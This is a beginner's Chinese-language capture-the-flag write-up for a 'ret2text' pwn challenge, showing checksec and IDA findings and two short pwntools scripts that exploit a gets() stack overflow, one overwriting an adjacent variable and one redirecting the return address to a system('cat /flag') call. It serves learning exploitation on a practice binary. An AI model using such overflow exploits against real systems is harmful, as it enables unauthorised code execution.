ret2text~
前言
依旧是简单的ret2text
一、checksec查看
No canary found 没有开启栈溢出保护
二、IDA反汇编
双击进入func()
发现后门函数system("cat/flag");根据语义,函数提供了修改v1,判断v2是否等于11.28125,如果是返回该cat/flag命令的值。
方法:
① 溢出修改v2为11.28125
② ret2text,直接让函数返回到system("cat /flag")命令执行处(本萌新在此存疑)
三、法1:溢出修改v2
虽然gets()只是修改了v1的值,不过这个危险函数+v2和v1相邻 的情形,为我们提供了修改v2的条件。
我们要做的就是塞满v1,多余的部分会修改v2,那么v2修改为多少呢?
光标放到标黄的比较值处(或双击),会显示其16进制编码:
0x41348000
至此构造我们的exp:
from pwn import *
r=remote(" ",port)
payload=b'a'*(44)+p64(0x41348000)
r.sendline(payload)
r.interactive()
四、法2:ret2text
如果将函数返回地址修改为system语句处,直接让其执行,这是惯用的方法套路
(填充v1+填充v2)+填充ebp+修改返回地址
exp构造如下:
from pwn import *
r=remote(" ",port) #port是端口号
addr=0x4006BE
payload=b'a'*(0x30+0x8)+p64(addr) #0x30指v1到ebp的偏移量,ida中给出
r.sendline(payload)
r.interactive()
疑问
构造ret2text,修改函数的返回地址到目标指令地址,在本题中,修改目标地址为本函数内语句地址,不会造成循环码?即,被调函数不断地返回到被调函数内?萌新总是对这些基础知识不太了解,这就再去看看知识。当然,也希望师傅们跟我说说QAQ